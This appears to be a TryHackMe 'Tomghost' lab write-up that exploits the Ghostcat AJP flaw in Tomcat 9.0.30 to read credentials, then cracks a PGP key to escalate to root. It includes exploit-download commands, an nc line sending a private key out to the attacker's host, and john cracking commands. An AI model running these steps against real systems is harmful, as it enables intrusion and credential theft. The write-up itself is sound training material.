PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tomghost from TryHackMe is a easy machine that tackles a specific vulnerability that affected Tomcat and was fixed as of version 9.0.31 (Tomcat 9), version 8.5.51 (Tomcat 8) and version 7.0.100 (Tomcat 7).
Exploit only provided limited functionality however the information gathered from that exploit could allow pivoting into something more serious.
Initial Access - Ghostcat
Our initial enumeration of tomcat should always be to check if we have access to the admin panel. Once we confirm if that is possible or not; then we can look into other exploitation paths.
From here we jump into googling the port 8009 service as well and when googling for ajp13 exploits we uncover some interesting information.
If the AJP port is exposed, Tomcat might be susceptible to the Ghostcat vulnerability. Knowing that we have the port 8009 and tomcat running on port 8080. We can inspect further if this particular machine has the ghostcat vulnerability or if it is a rabbit hole. This exploit is fixed as of version 9.0.31 (Tomcat 9), version 8.5.51 (Tomcat 8) and version 7.0.100 (Tomcat 7).
When checking the main page, we discover the version number we are dealing with and confirming that our NMAP scan on the version was correct.
Further reading also provided through hacktricks website when pentesting port 8009.
Ghostcat is a vulnerability that allows the potential for local file inclusion however it is very limiting as only specific paths/documents are possible to be included. In this case the most common file is /web-inf/web.xml that could potentially contain credentials if misconfigured.
Using the following exploit code, we are able to confirm if we have a vulnerable version
# Obtain exploit
wget https://www.exploit-db.com/raw/48143 -O 48143.py
python 48143.py -p ajp_port -f file target_ip
python 48143.py -p 8009 -f WEB-INF/web.xml 10.10.163.40
From this we confirm the vulnerability and along with it we are also able to extract some sensitive credentials that was being stored within the file.
Using these credentials, we can try to test them around the open protocols and webapp for reuse. The manager setup on the tomcat webapp has not been configured so we cannot log into the admin panel on port 8080.
So we test against the SSH protocol.
With this we have our initial access to the machine as the "skyfuck" user.
Privilege Escalation - PGP/GPG Cracking into Sudo
Our initial checks with getting the lay of the land. We check our home user directory and we do find a couple of interesting files credential.pgp and tryhackme.asc. We try to read and extract information about the files and what is interesting is that the tryhackme.asc file is a PGP private key.
We can extract this file and use John The Ripper to form a crack-able hash from this file. First we transfer the file over and then we convert it.
# Kali Server
nc -lvnp 443 > pgp.asc
"confirming netcat is on the target"
nc 10.4.42.21 443 < tryhackme.asc
We successfully convert to a crack-able hash.
Then we take this hash and crack it to see if we can uncover a password. I proceeded with using john to crack the password with the following modifiers
gpg2john pgp.asc > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
With this, we have another credential to add to our list. We can test this credential against other users however it doesn't appear to be working or possible.
Next we google about being able to decrypt the other file we found credentials.pgp. From this we see that if we can run /usr/bin/gpg then we can import and decrypt the file into a text file.
# Check if GPG is in PATH
gpg --import tryhackme.asc
From here we can hit it with the following command to decrypt and it will prompt us for a passphrase which appears to be what we have cracked before.
gpg --output ./msg.txt --decrypt credential.pgp
From here we login as the user and discover another interesting entry for this new user as we don't have root privileges just yet. Back to the drawing board, we look at our user and his privileges to see the following.
Going to our trusted GTFOBins site and looking at zip, we can see that there is a possible exploit for ZIP into root access given that we can run this binary with sudo without a password required.
By running the commands as displayed, we have been able to move directly into a Root privileged shell and thereby compromising the machine fully.